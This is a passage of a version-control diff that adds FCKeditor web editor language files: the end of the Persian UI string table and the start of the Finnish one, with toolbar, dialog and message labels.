+InsertFlash			: "گنجاندن/ویرایش ِFlash",
+InsertTableLbl		: "جدول",
+InsertTable			: "گنجاندن/ویرایش ِجدول",
+InsertLineLbl		: "خط",
+InsertLine			: "گنجاندن خط ِافقی",
+InsertSpecialCharLbl: "نویسهٴ ویژه",
+InsertSpecialChar	: "گنجاندن نویسهٴ ویژه",
+InsertSmileyLbl		: "خندانک",
+InsertSmiley		: "گنجاندن خندانک",
+About				: "دربارهٴ FCKeditor",
+Bold				: "درشت",
+Italic				: "خمیده",
+Underline			: "خط‌زیردار",
+StrikeThrough		: "میان‌خط",
+Subscript			: "زیرنویس",
+Superscript			: "بالانویس",
+LeftJustify			: "چپ‌چین",
+CenterJustify		: "میان‌چین",
+RightJustify		: "راست‌چین",
+BlockJustify		: "بلوک‌چین",
+DecreaseIndent		: "کاهش تورفتگی",
+IncreaseIndent		: "افزایش تورفتگی",
+Undo				: "واچیدن",
+Redo				: "بازچیدن",
+NumberedListLbl		: "فهرست شماره‌دار",
+NumberedList		: "گنجاندن/برداشتن فهرست شماره‌دار",
+BulletedListLbl		: "فهرست نقطه‌ای",
+BulletedList		: "گنجاندن/برداشتن فهرست نقطه‌ای",
+ShowTableBorders	: "نمایش لبهٴ جدول",
+ShowDetails			: "نمایش جزئیات",
+Style				: "سبک",
+FontFormat			: "فرمت",
+Font				: "قلم",
+FontSize			: "اندازه",
+TextColor			: "رنگ متن",
+BGColor				: "رنگ پس‌زمینه",
+Source				: "منبع",
+Find				: "جستجو",
+Replace				: "جایگزینی",
+SpellCheck			: "بررسی املا",
+UniversalKeyboard	: "صفحه‌کلید جهانی",
+PageBreakLbl		: "شکستگی ِپایان ِبرگه",
+PageBreak			: "گنجاندن شکستگی ِپایان ِبرگه",
+
+Form			: "فرم",
+Checkbox		: "خانهٴ گزینه‌ای",
+RadioButton		: "دکمهٴ رادیویی",
+TextField		: "فیلد متنی",
+Textarea		: "ناحیهٴ متنی",
+HiddenField		: "فیلد پنهان",
+Button			: "دکمه",
+SelectionField	: "فیلد چندگزینه‌ای",
+ImageButton		: "دکمهٴ تصویری",
+
+FitWindow		: "بیشینه‌سازی ِاندازهٴ ویرایشگر",
+
+// Context Menu
+EditLink			: "ویرایش پیوند",
+CellCM				: "سلول",
+RowCM				: "سطر",
+ColumnCM			: "ستون",
+InsertRow			: "گنجاندن سطر",
+DeleteRows			: "حذف سطرها",
+InsertColumn		: "گنجاندن ستون",
+DeleteColumns		: "حذف ستونها",
+InsertCell			: "گنجاندن سلول",
+DeleteCells			: "حذف سلولها",
+MergeCells			: "ادغام سلولها",
+SplitCell			: "جداسازی سلول",
+TableDelete			: "پاک‌کردن جدول",
+CellProperties		: "ویژگیهای سلول",
+TableProperties		: "ویژگیهای جدول",
+ImageProperties		: "ویژگیهای تصویر",
+FlashProperties		: "ویژگیهای Flash",
+
+AnchorProp			: "ویژگیهای لنگر",
+ButtonProp			: "ویژگیهای دکمه",
+CheckboxProp		: "ویژگیهای خانهٴ گزینه‌ای",
+HiddenFieldProp		: "ویژگیهای فیلد پنهان",
+RadioButtonProp		: "ویژگیهای دکمهٴ رادیویی",
+ImageButtonProp		: "ویژگیهای دکمهٴ تصویری",
+TextFieldProp		: "ویژگیهای فیلد متنی",
+SelectionFieldProp	: "ویژگیهای فیلد چندگزینه‌ای",
+TextareaProp		: "ویژگیهای ناحیهٴ متنی",
+FormProp			: "ویژگیهای فرم",
+
+FontFormats			: "نرمال;فرمت‌شده;آدرس;سرنویس 1;سرنویس 2;سرنویس 3;سرنویس 4;سرنویس 5;سرنویس 6;بند;(DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "پردازش XHTML. لطفا صبر کنید...",
+Done				: "انجام شد",
+PasteWordConfirm	: "کپی شده است. آیا می‌خواهید قبل از چسباندن آن را پاک‌سازی کنید؟ Word متنی که می‌خواهید بچسبانید به نظر می‌رسد از",
+NotCompatiblePaste	: "این فرمان برای مرورگر Internet Explorer از نگارش 5.5 یا بالاتر در دسترس است. آیا می‌خواهید بدون پاک‌سازی، متن را بچسبانید؟",
+UnknownToolbarItem	: "فقرهٴ نوارابزار ناشناخته \"%1\"",
+UnknownCommand		: "نام دستور ناشناخته \"%1\"",
+NotImplemented		: "دستور پیاده‌سازی‌نشده",
+UnknownToolbarSet	: "مجموعهٴ نوارابزار \"%1\" وجود ندارد",
+NoActiveX			: "تنظیمات امنیتی مرورگر شما ممکن است در بعضی از ویژگیهای مرورگر محدودیت ایجاد کند. شما باید گزینهٴ \"Run ActiveX controls and plug-ins\" را فعال کنید. ممکن است شما با خطاهایی روبرو باشید و متوجه کمبود ویژگیهایی شوید.",
+BrowseServerBlocked : "توانایی بازگشایی مرورگر منابع فراهم نیست. اطمینان حاصل کنید که تمامی برنامه‌های پیشگیری از نمایش popup را از کار بازداشته‌اید.",
+DialogBlocked		: "توانایی بازگشایی پنجرهٴ کوچک ِگفتگو فراهم نیست. اطمینان حاصل کنید که تمامی برنامه‌های پیشگیری از نمایش popup را از کار بازداشته‌اید.",
+
+// Dialogs
+DlgBtnOK			: "پذیرش",
+DlgBtnCancel		: "انصراف",
+DlgBtnClose			: "بستن",
+DlgBtnBrowseServer	: "فهرست‌نمایی سرور",
+DlgAdvancedTag		: "پیشرفته",
+DlgOpOther			: "<غیره>",
+DlgInfoTab			: "اطلاعات",
+DlgAlertUrl			: "لطفاً URL را بنویسید",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<تعین‌نشده>",
+DlgGenId			: "شناسه",
+DlgGenLangDir		: "جهت‌نمای زبان",
+DlgGenLangDirLtr	: "چپ به راست (LTR)",
+DlgGenLangDirRtl	: "راست به چپ (RTL)",
+DlgGenLangCode		: "کد زبان",
+DlgGenAccessKey		: "کلید دستیابی",
+DlgGenName			: "نام",
+DlgGenTabIndex		: "نمایهٴ دسترسی با Tab",
+DlgGenLongDescr		: "URL توصیف طولانی",
+DlgGenClass			: "کلاسهای شیوه‌نامه(Stylesheet)",
+DlgGenTitle			: "عنوان کمکی",
+DlgGenContType		: "نوع محتوای کمکی",
+DlgGenLinkCharset	: "نویسه‌گان منبع ِپیوندشده",
+DlgGenStyle			: "شیوه(style)",
+
+// Image Dialog
+DlgImgTitle			: "ویژگیهای تصویر",
+DlgImgInfoTab		: "اطلاعات تصویر",
+DlgImgBtnUpload		: "به سرور بفرست",
+DlgImgURL			: "URL",
+DlgImgUpload		: "انتقال به سرور",
+DlgImgAlt			: "متن جایگزین",
+DlgImgWidth			: "پهنا",
+DlgImgHeight		: "درازا",
+DlgImgLockRatio		: "قفل‌کردن ِنسبت",
+DlgBtnResetSize		: "بازنشانی اندازه",
+DlgImgBorder		: "لبه",
+DlgImgHSpace		: "فاصلهٴ افقی",
+DlgImgVSpace		: "فاصلهٴ عمودی",
+DlgImgAlign			: "چینش",
+DlgImgAlignLeft		: "چپ",
+DlgImgAlignAbsBottom: "پائین مطلق",
+DlgImgAlignAbsMiddle: "وسط مطلق",
+DlgImgAlignBaseline	: "خط‌پایه",
+DlgImgAlignBottom	: "پائین",
+DlgImgAlignMiddle	: "وسط",
+DlgImgAlignRight	: "راست",
+DlgImgAlignTextTop	: "متن بالا",
+DlgImgAlignTop		: "بالا",
+DlgImgPreview		: "پیش‌نمایش",
+DlgImgAlertUrl		: "لطفا URL تصویر را بنویسید",
+DlgImgLinkTab		: "پیوند",
+
+// Flash Dialog
+DlgFlashTitle		: "ویژگیهای Flash",
+DlgFlashChkPlay		: "آغاز ِخودکار",
+DlgFlashChkLoop		: "اجرای پیاپی",
+DlgFlashChkMenu		: "دردسترس‌بودن منوی Flash",
+DlgFlashScale		: "مقیاس",
+DlgFlashScaleAll	: "نمایش همه",
+DlgFlashScaleNoBorder	: "بدون کران",
+DlgFlashScaleFit	: "جایگیری کامل",
+
+// Link Dialog
+DlgLnkWindowTitle	: "پیوند",
+DlgLnkInfoTab		: "اطلاعات پیوند",
+DlgLnkTargetTab		: "مقصد",
+
+DlgLnkType			: "نوع پیوند",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "لنگر در همین صفحه",
+DlgLnkTypeEMail		: "پست الکترونیکی",
+DlgLnkProto			: "پروتکل",
+DlgLnkProtoOther	: "<دیگر>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "یک لنگر برگزینید",
+DlgLnkAnchorByName	: "با نام لنگر",
+DlgLnkAnchorById	: "با شناسهٴ المان",
+DlgLnkNoAnchors		: "<در این سند لنگری دردسترس نیست>",
+DlgLnkEMail			: "نشانی پست الکترونیکی",
+DlgLnkEMailSubject	: "موضوع پیام",
+DlgLnkEMailBody		: "متن پیام",
+DlgLnkUpload		: "انتقال به سرور",
+DlgLnkBtnUpload		: "به سرور بفرست",
+
+DlgLnkTarget		: "مقصد",
+DlgLnkTargetFrame	: "<فریم>",
+DlgLnkTargetPopup	: "<پنجرهٴ پاپاپ>",
+DlgLnkTargetBlank	: "پنجرهٴ دیگر (_blank)",
+DlgLnkTargetParent	: "پنجرهٴ والد (_parent)",
+DlgLnkTargetSelf	: "همان پنجره (_self)",
+DlgLnkTargetTop		: "بالاترین پنجره (_top)",
+DlgLnkTargetFrameName	: "نام فریم مقصد",
+DlgLnkPopWinName	: "نام پنجرهٴ پاپاپ",
+DlgLnkPopWinFeat	: "ویژگیهای پنجرهٴ پاپاپ",
+DlgLnkPopResize		: "قابل تغیر اندازه",
+DlgLnkPopLocation	: "نوار موقعیت",
+DlgLnkPopMenu		: "نوار منو",
+DlgLnkPopScroll		: "میله‌های پیمایش",
+DlgLnkPopStatus		: "نوار وضعیت",
+DlgLnkPopToolbar	: "نوارابزار",
+DlgLnkPopFullScrn	: "تمام‌صفحه (IE)",
+DlgLnkPopDependent	: "وابسته (Netscape)",
+DlgLnkPopWidth		: "پهنا",
+DlgLnkPopHeight		: "درازا",
+DlgLnkPopLeft		: "موقعیت ِچپ",
+DlgLnkPopTop		: "موقعیت ِبالا",
+
+DlnLnkMsgNoUrl		: "لطفا URL پیوند را بنویسید",
+DlnLnkMsgNoEMail	: "لطفا نشانی پست الکترونیکی را بنویسید",
+DlnLnkMsgNoAnchor	: "لطفا لنگری را برگزینید",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "گزینش رنگ",
+DlgColorBtnClear	: "پاک‌کردن",
+DlgColorHighlight	: "نمونه",
+DlgColorSelected	: "برگزیده",
+
+// Smiley Dialog
+DlgSmileyTitle		: "گنجاندن خندانک",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "گزینش نویسهٴ‌ویژه",
+
+// Table Dialog
+DlgTableTitle		: "ویژگیهای جدول",
+DlgTableRows		: "سطرها",
+DlgTableColumns		: "ستونها",
+DlgTableBorder		: "اندازهٴ لبه",
+DlgTableAlign		: "چینش",
+DlgTableAlignNotSet	: "<تعین‌نشده>",
+DlgTableAlignLeft	: "چپ",
+DlgTableAlignCenter	: "وسط",
+DlgTableAlignRight	: "راست",
+DlgTableWidth		: "پهنا",
+DlgTableWidthPx		: "پیکسل",
+DlgTableWidthPc		: "درصد",
+DlgTableHeight		: "درازا",
+DlgTableCellSpace	: "فاصلهٴ میان سلولها",
+DlgTableCellPad		: "فاصلهٴ پرشده در سلول",
+DlgTableCaption		: "عنوان",
+DlgTableSummary		: "خلاصه",
+
+// Table Cell Dialog
+DlgCellTitle		: "ویژگیهای سلول",
+DlgCellWidth		: "پهنا",
+DlgCellWidthPx		: "پیکسل",
+DlgCellWidthPc		: "درصد",
+DlgCellHeight		: "درازا",
+DlgCellWordWrap		: "شکستن واژه‌ها",
+DlgCellWordWrapNotSet	: "<تعین‌نشده>",
+DlgCellWordWrapYes	: "بله",
+DlgCellWordWrapNo	: "خیر",
+DlgCellHorAlign		: "چینش ِافقی",
+DlgCellHorAlignNotSet	: "<تعین‌نشده>",
+DlgCellHorAlignLeft	: "چپ",
+DlgCellHorAlignCenter	: "وسط",
+DlgCellHorAlignRight: "راست",
+DlgCellVerAlign		: "چینش ِعمودی",
+DlgCellVerAlignNotSet	: "<تعین‌نشده>",
+DlgCellVerAlignTop	: "بالا",
+DlgCellVerAlignMiddle	: "میان",
+DlgCellVerAlignBottom	: "پائین",
+DlgCellVerAlignBaseline	: "خط‌پایه",
+DlgCellRowSpan		: "گستردگی سطرها",
+DlgCellCollSpan		: "گستردگی ستونها",
+DlgCellBackColor	: "رنگ پس‌زمینه",
+DlgCellBorderColor	: "رنگ لبه",
+DlgCellBtnSelect	: "برگزینید...",
+
+// Find Dialog
+DlgFindTitle		: "یافتن",
+DlgFindFindBtn		: "یافتن",
+DlgFindNotFoundMsg	: "متن موردنظر یافت نشد.",
+
+// Replace Dialog
+DlgReplaceTitle			: "جایگزینی",
+DlgReplaceFindLbl		: "چه‌چیز را می‌یابید:",
+DlgReplaceReplaceLbl	: "جایگزینی با:",
+DlgReplaceCaseChk		: "همسانی در بزرگی و کوچکی نویسه‌ها",
+DlgReplaceReplaceBtn	: "جایگزینی",
+DlgReplaceReplAllBtn	: "جایگزینی همهٴ یافته‌ها",
+DlgReplaceWordChk		: "همسانی با واژهٴ کامل",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "تنظیمات امنیتی مرورگر شما اجازه نمی‌دهد که ویرایشگر به طور خودکار عملکردهای چسباندن را انجام دهد. لطفا با دکمه‌های صفحه‌کلید این کار را انجام دهید (Ctrl+V).",
+PasteErrorCut	: "تنظیمات امنیتی مرورگر شما اجازه نمی‌دهد که ویرایشگر به طور خودکار عملکردهای برش را انجام دهد. لطفا با دکمه‌های صفحه‌کلید این کار را انجام دهید (Ctrl+X).",
+PasteErrorCopy	: "تنظیمات امنیتی مرورگر شما اجازه نمی‌دهد که ویرایشگر به طور خودکار عملکردهای کپی‌کردن را انجام دهد. لطفا با دکمه‌های صفحه‌کلید این کار را انجام دهید (Ctrl+C).",
+
+PasteAsText		: "چسباندن به عنوان متن ِساده",
+PasteFromWord	: "چسباندن از Word",
+
+DlgPasteMsg2	: "لطفا متن را با کلیدهای (<STRONG>Ctrl+V</STRONG>) در این جعبهٴ متنی بچسبانید و <STRONG>پذیرش</STRONG> را بزنید.",
+DlgPasteIgnoreFont		: "چشم‌پوشی از تعاریف نوع قلم",
+DlgPasteRemoveStyles	: "چشم‌پوشی از تعاریف سبک (style)",
+DlgPasteCleanBox		: "پاک‌کردن ناحیه",
+
+// Color Picker
+ColorAutomatic	: "خودکار",
+ColorMoreColors	: "رنگهای بیشتر...",
+
+// Document Properties
+DocProps		: "ویژگیهای سند",
+
+// Anchor Dialog
+DlgAnchorTitle		: "ویژگیهای لنگر",
+DlgAnchorName		: "نام لنگر",
+DlgAnchorErrorName	: "لطفا نام لنگر را بنویسید",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "در واژه‌نامه موجود نیست",
+DlgSpellChangeTo		: "تغیر به",
+DlgSpellBtnIgnore		: "چشم‌پوشی",
+DlgSpellBtnIgnoreAll	: "چشم‌پوشی همه",
+DlgSpellBtnReplace		: "جایگزینی",
+DlgSpellBtnReplaceAll	: "جایگزینی همه",
+DlgSpellBtnUndo			: "واچینش",
+DlgSpellNoSuggestions	: "- پیشنهادی نیست -",
+DlgSpellProgress		: "بررسی املا در حال انجام...",
+DlgSpellNoMispell		: "بررسی املا انجام شد. هیچ غلط‌املائی یافت نشد",
+DlgSpellNoChanges		: "بررسی املا انجام شد. هیچ واژه‌ای تغیر نیافت",
+DlgSpellOneChange		: "بررسی املا انجام شد. یک واژه تغیر یافت",
+DlgSpellManyChanges		: "بررسی املا انجام شد. %1 واژه تغیر یافت",
+
+IeSpellDownload			: "بررسی‌کنندهٴ املا نصب نشده است. آیا می‌خواهید آن را هم‌اکنون دریافت کنید؟",
+
+// Button Dialog
+DlgButtonText		: "متن (مقدار)",
+DlgButtonType		: "نوع",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "نام",
+DlgCheckboxValue	: "مقدار",
+DlgCheckboxSelected	: "برگزیده",
+
+// Form Dialog
+DlgFormName		: "نام",
+DlgFormAction	: "اقدام",
+DlgFormMethod	: "متد",
+
+// Select Field Dialog
+DlgSelectName		: "نام",
+DlgSelectValue		: "مقدار",
+DlgSelectSize		: "اندازه",
+DlgSelectLines		: "خطوط",
+DlgSelectChkMulti	: "گزینش چندگانه فراهم باشد",
+DlgSelectOpAvail	: "گزینه‌های موجود",
+DlgSelectOpText		: "متن",
+DlgSelectOpValue	: "مقدار",
+DlgSelectBtnAdd		: "اضافه",
+DlgSelectBtnModify	: "ویرایش",
+DlgSelectBtnUp		: "بالا",
+DlgSelectBtnDown	: "پائین",
+DlgSelectBtnSetValue : "تنظیم به عنوان مقدار ِبرگزیده",
+DlgSelectBtnDelete	: "حذف",
+
+// Textarea Dialog
+DlgTextareaName	: "نام",
+DlgTextareaCols	: "ستونها",
+DlgTextareaRows	: "سطرها",
+
+// Text Field Dialog
+DlgTextName			: "نام",
+DlgTextValue		: "مقدار",
+DlgTextCharWidth	: "پهنای نویسه",
+DlgTextMaxChars		: "بیشینهٴ نویسه‌ها",
+DlgTextType			: "نوع",
+DlgTextTypeText		: "متن",
+DlgTextTypePass		: "گذرواژه",
+
+// Hidden Field Dialog
+DlgHiddenName	: "نام",
+DlgHiddenValue	: "مقدار",
+
+// Bulleted List Dialog
+BulletedListProp	: "ویژگیهای فهرست نقطه‌ای",
+NumberedListProp	: "ویژگیهای فهرست شماره‌دار",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "نوع",
+DlgLstTypeCircle	: "دایره",
+DlgLstTypeDisc		: "قرص",
+DlgLstTypeSquare	: "چهارگوش",
+DlgLstTypeNumbers	: "شماره‌ها (1، 2، 3)",
+DlgLstTypeLCase		: "نویسه‌های کوچک (a، b، c)",
+DlgLstTypeUCase		: "نویسه‌های بزرگ (A، B، C)",
+DlgLstTypeSRoman	: "شمارگان رومی کوچک (i، ii، iii)",
+DlgLstTypeLRoman	: "شمارگان رومی بزرگ (I، II، III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "عمومی",
+DlgDocBackTab		: "پس‌زمینه",
+DlgDocColorsTab		: "رنگها و حاشیه‌ها",
+DlgDocMetaTab		: "فراداده",
+
+DlgDocPageTitle		: "عنوان صفحه",
+DlgDocLangDir		: "جهت زبان",
+DlgDocLangDirLTR	: "چپ به راست (LTR(",
+DlgDocLangDirRTL	: "راست به چپ (RTL(",
+DlgDocLangCode		: "کد زبان",
+DlgDocCharSet		: "رمزگذاری نویسه‌گان",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "رمزگذاری نویسه‌گان دیگر",
+
+DlgDocDocType		: "عنوان نوع سند",
+DlgDocDocTypeOther	: "عنوان نوع سند دیگر",
+DlgDocIncXHTML		: "شامل تعاریف XHTML",
+DlgDocBgColor		: "رنگ پس‌زمینه",
+DlgDocBgImage		: "URL تصویر پس‌زمینه",
+DlgDocBgNoScroll	: "پس‌زمینهٴ پیمایش‌ناپذیر",
+DlgDocCText			: "متن",
+DlgDocCLink			: "پیوند",
+DlgDocCVisited		: "پیوند مشاهده‌شده",
+DlgDocCActive		: "پیوند فعال",
+DlgDocMargins		: "حاشیه‌های صفحه",
+DlgDocMaTop			: "بالا",
+DlgDocMaLeft		: "چپ",
+DlgDocMaRight		: "راست",
+DlgDocMaBottom		: "پایین",
+DlgDocMeIndex		: "کلیدواژگان نمایه‌گذاری سند (با کاما جدا شوند)",
+DlgDocMeDescr		: "توصیف سند",
+DlgDocMeAuthor		: "نویسنده",
+DlgDocMeCopy		: "کپی‌رایت",
+DlgDocPreview		: "پیش‌نمایش",
+
+// Templates Dialog
+Templates			: "الگوها",
+DlgTemplatesTitle	: "الگوهای محتویات",
+DlgTemplatesSelMsg	: "لطفا الگوی موردنظر را برای بازکردن در ویرایشگر برگزینید<br>(محتویات اصلی از دست خواهند رفت):",
+DlgTemplatesLoading	: "بارگذاری فهرست الگوها. لطفا صبر کنید...",
+DlgTemplatesNoTpl	: "(الگوئی تعریف نشده است)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "درباره",
+DlgAboutBrowserInfoTab	: "اطلاعات مرورگر",
+DlgAboutLicenseTab	: "گواهینامه",
+DlgAboutVersion		: "نگارش",
+DlgAboutLicense		: "لیسانس برپایهٴبندهای آیین‌نامهٴ GNU Lesser General Public License",
+DlgAboutInfo		: "برای آگاهی بیشتر به این نشانی بروید"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fi.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fi.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fi.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fi.js
+ * 	Finnish language file.
+ * 
+ * File Authors:
+ * 		Marko Korhonen (marko.korhonen@datafisher.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Piilota työkalurivi",
+ToolbarExpand		: "Näytä työkalurivi",
+
+// Toolbar Items and Context Menu
+Save				: "Tallenna",
+NewPage				: "Tyhjennä",
+Preview				: "Esikatsele",
+Cut					: "Leikkaa",
+Copy				: "Kopioi",
+Paste				: "Liitä",
+PasteText			: "Liitä tekstinä",
+PasteWord			: "Liitä Wordista",
+Print				: "Tulosta",
+SelectAll			: "Valitse kaikki",
+RemoveFormat		: "Poista muotoilu",
+InsertLinkLbl		: "Linkki",
+InsertLink			: "Lisää linkki/muokkaa linkkiä",
+RemoveLink			: "Poista linkki",
+Anchor				: "Lisää ankkuri/muokkaa ankkuria",
+InsertImageLbl		: "Kuva",
+InsertImage			: "Lisää kuva/muokkaa kuvaa",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Lisää/muokkaa Flashia",
+InsertTableLbl		: "Taulu",
+InsertTable			: "Lisää taulu/muokkaa taulua",
+InsertLineLbl		: "Murtoviiva",
+InsertLine			: "Lisää murtoviiva",
+InsertSpecialCharLbl: "Erikoismerkki",
+InsertSpecialChar	: "Lisää erikoismerkki",
+InsertSmileyLbl		: "Hymiö",
+InsertSmiley		: "Lisää hymiö",
+About				: "FCKeditorista",
+Bold				: "Lihavoitu",
+Italic				: "Kursivoitu",
+Underline			: "Alleviivattu",
+StrikeThrough		: "Yliviivattu",
+Subscript			: "Alaindeksi",
+Superscript			: "Yläindeksi",
+LeftJustify			: "Tasaa vasemmat reunat",
+CenterJustify		: "Keskitä",
+RightJustify		: "Tasaa oikeat reunat",
+BlockJustify		: "Tasaa molemmat reunat",
+DecreaseIndent		: "Pienennä sisennystä",
+IncreaseIndent		: "Suurenna sisennystä",
+Undo				: "Kumoa",
+Redo				: "Toista",
+NumberedListLbl		: "Numerointi",
+NumberedList		: "Lisää/poista numerointi",
+BulletedListLbl		: "Luottelomerkit",
+BulletedList		: "Lisää/poista luottelomerkit",
+ShowTableBorders	: "Näytä taulun rajat",
+ShowDetails			: "Näytä muotoilu",
+Style				: "Tyyli",
+FontFormat			: "Muotoilu",
+Font				: "Fontti",
+FontSize			: "Koko",
+TextColor			: "Tekstiväri",
+BGColor				: "Taustaväri",
+Source				: "Koodi",
+Find				: "Etsi",
+Replace				: "Korvaa",
+SpellCheck			: "Tarkista oikeinkirjoitus",
+UniversalKeyboard	: "Universaali näppäimistö",
+PageBreakLbl		: "Sivun vaihto",
+PageBreak			: "Lisää sivun vaihto",
+
+Form			: "Lomake",
+Checkbox		: "Valintaruutu",
+RadioButton		: "Radiopainike",
+TextField		: "Tekstikenttä",
+Textarea		: "Tekstilaatikko",
+HiddenField		: "Piilokenttä",
+Button			: "Painike",
+SelectionField	: "Valintakenttä",
+ImageButton		: "Kuvapainike",
+
+FitWindow		: "Suurenna editori koko ikkunaan",
+
+// Context Menu
+EditLink			: "Muokkaa linkkiä",
+CellCM				: "Solu",
+RowCM				: "Rivi",
+ColumnCM			: "Sarake",
+InsertRow			: "Lisää rivi",
+DeleteRows			: "Poista rivit",
+InsertColumn		: "Lisää sarake",
+DeleteColumns		: "Poista sarakkeet",
+InsertCell			: "Lisää solu",
+DeleteCells			: "Poista solut",
+MergeCells			: "Yhdistä solut",
+SplitCell			: "Jaa solu",
+TableDelete			: "Poista taulu",
+CellProperties		: "Solun ominaisuudet",
+TableProperties		: "Taulun ominaisuudet",
+ImageProperties		: "Kuvan ominaisuudet",
+FlashProperties		: "Flash ominaisuudet",
+
+AnchorProp			: "Ankkurin ominaisuudet",
+ButtonProp			: "Painikkeen ominaisuudet",
+CheckboxProp		: "Valintaruudun ominaisuudet",
+HiddenFieldProp		: "Piilokentän ominaisuudet",
+RadioButtonProp		: "Radiopainikkeen ominaisuudet",
+ImageButtonProp		: "Kuvapainikkeen ominaisuudet",
+TextFieldProp		: "Tekstikentän ominaisuudet",
+SelectionFieldProp	: "Valintakentän ominaisuudet",
+TextareaProp		: "Tekstilaatikon ominaisuudet",
+FormProp			: "Lomakkeen ominaisuudet",
+
+FontFormats			: "Normaali;Muotoiltu;Osoite;Otsikko 1;Otsikko 2;Otsikko 3;Otsikko 4;Otsikko 5;Otsikko 6",
+
+// Alerts and Messages
+ProcessingXHTML		: "Prosessoidaan XHTML:ää. Odota hetki...",
+Done				: "Valmis",
+PasteWordConfirm	: "Teksti, jonka haluat liittää, näyttää olevan kopioitu Wordista. Haluatko puhdistaa sen ennen liittämistä?",
+NotCompatiblePaste	: "Tämä komento toimii vain Internet Explorer 5.5:ssa tai uudemmassa. Haluatko liittää ilman puhdistusta?",
+UnknownToolbarItem	: "Tuntemanton työkalu \"%1\"",
+UnknownCommand		: "Tuntematon komento \"%1\"",
+NotImplemented		: "Komentoa ei ole liitetty sovellukseen",
+UnknownToolbarSet	: "Työkalukokonaisuus \"%1\" ei ole olemassa",
+NoActiveX			: "Selaimesi turvallisuusasetukset voivat rajoittaa joitain editorin ominaisuuksia. Sinun pitää ottaa käyttöön asetuksista \"Suorita ActiveX komponentit ja -plugin-laajennukset\". Saatat kohdata virheitä ja huomata puuttuvia ominaisuuksia.",
+BrowseServerBlocked : "Resurssiselainta ei voitu avata. Varmista, että ponnahdusikkunoiden estäjät eivät ole päällä.",
+DialogBlocked		: "Apuikkunaa ei voitu avaata. Varmista, että ponnahdusikkunoiden estäjät eivät ole päällä.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Peruuta",
+DlgBtnClose			: "Sulje",
+DlgBtnBrowseServer	: "Selaa palvelinta",
+DlgAdvancedTag		: "Lisäominaisuudet",
+DlgOpOther			: "Muut",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Lisää URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<ei asetettu>",
+DlgGenId			: "Tunniste",
+DlgGenLangDir		: "Kielen suunta",
+DlgGenLangDirLtr	: "Vasemmalta oikealle (LTR)",
+DlgGenLangDirRtl	: "Oikealta vasemmalle (RTL)",
+DlgGenLangCode		: "Kielikoodi",
+DlgGenAccessKey		: "Pikanäppäin",
+DlgGenName			: "Nimi",
+DlgGenTabIndex		: "Tabulaattori indeksi",
+DlgGenLongDescr		: "Pitkän kuvauksen URL",
+DlgGenClass			: "Tyyliluokat",
+DlgGenTitle			: "Avustava otsikko",
+DlgGenContType		: "Avustava sisällön tyyppi",
+DlgGenLinkCharset	: "Linkitetty kirjaimisto",
+DlgGenStyle			: "Tyyli",
+
+// Image Dialog
+DlgImgTitle			: "Kuvan ominaisuudet",
+DlgImgInfoTab		: "Kuvan tiedot",
+DlgImgBtnUpload		: "Lähetä palvelimelle",
+DlgImgURL			: "Osoite",
+DlgImgUpload		: "Lisää kuva",
+DlgImgAlt			: "Vaihtoehtoinen teksti",
+DlgImgWidth			: "Leveys",
+DlgImgHeight		: "Korkeus",
+DlgImgLockRatio		: "Lukitse suhteet",
+DlgBtnResetSize		: "Alkuperäinen koko",
+DlgImgBorder		: "Raja",
+DlgImgHSpace		: "Vaakatila",
+DlgImgVSpace		: "Pystytila",
+DlgImgAlign			: "Kohdistus",
+DlgImgAlignLeft		: "Vasemmalle",
+DlgImgAlignAbsBottom: "Aivan alas",
+DlgImgAlignAbsMiddle: "Aivan keskelle",
+DlgImgAlignBaseline	: "Alas (teksti)",
+DlgImgAlignBottom	: "Alas",
+DlgImgAlignMiddle	: "Keskelle",
+DlgImgAlignRight	: "Oikealle",
+DlgImgAlignTextTop	: "Ylös (teksti)",
+DlgImgAlignTop		: "Ylös",
+DlgImgPreview		: "Esikatselu",
+DlgImgAlertUrl		: "Kirjoita kuvan osoite (URL)",
+DlgImgLinkTab		: "Linkki",
+
+// Flash Dialog
